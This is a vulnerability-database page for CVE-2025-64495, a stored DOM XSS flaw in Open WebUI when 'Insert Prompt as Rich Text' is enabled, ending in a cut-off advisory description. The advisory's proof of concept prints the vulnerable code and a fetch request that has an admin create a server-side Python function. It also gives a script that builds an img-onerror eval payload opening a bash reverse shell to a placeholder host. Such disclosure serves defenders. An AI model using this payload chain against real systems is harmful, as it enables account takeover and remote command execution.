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CVE-2025-64495VulnerabilityPublished Updated

Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

Affects open-webuiSource GCVE Database

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Authoritative record:CVE-2025-64495· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 0.6.35 soon.

Data as of 19 Nov 2026, 02:13 UTC

CVSS 3.1 base score
8.7High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.18.7
Patch
Available – fixed in 0.6.35
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 8 Nov 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 18 Nov 2026.

What to do

Upgrade open-webui to 0.6.35.

Affected software

ProductAffectedFixed in
npmopen-webuiAffected
  • <0.6.35
Fixed in
  • 0.6.35
PyPIopen-webuiAffected
  • <0.6.35
Fixed in
  • 0.6.35

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt. ### Details The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348 ```js export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from; // Get the plain text of this document // const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n'); // Find the word boundaries at cursor const { start, end } = getWordBoundsAtPos(state.doc, pos); let tr = state.tr; if (insertPromptAsRichText) { const htmlContent = marked .parse(text, { breaks: true, gfm: true }) .trim(); // Create a temporary div to parse HTML const tempDiv = document.createElement('div'); tempDiv.innerHTML = htmlContent; // <---- vulnerable ``` User controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README. <img width="1816" height="498" alt="image" src="https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2" /> ### PoC Create a custom prompt as follows: <img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" /> Via settings, ensure 'Insert Prompt as Rich Text' is enabled: <img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" /> Run the command `/poc` via a chat window. <img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" /> Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" /> #### RCE Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. This can be accomplished by making them run the following fetch request: ```js fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('echo RCE')" }) }) ``` This cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes <img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" /> To get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript: ```py payload2 = """ fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')" }) }) """.lstrip().rstrip() out = "" for c in payload2: out += f"String.fromCodePoint({ord(c)})+" print(f"<img src=x onerror=eval({out[:-1]})>") ``` An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. <img width="2476" height="756" alt="image" src="https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15" /> <img width="2492" height="1530" alt="image" src="https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929" /> <img width="1968" height="916" alt="image" src="https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f" /> ### Impact Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server. Admin users run

References

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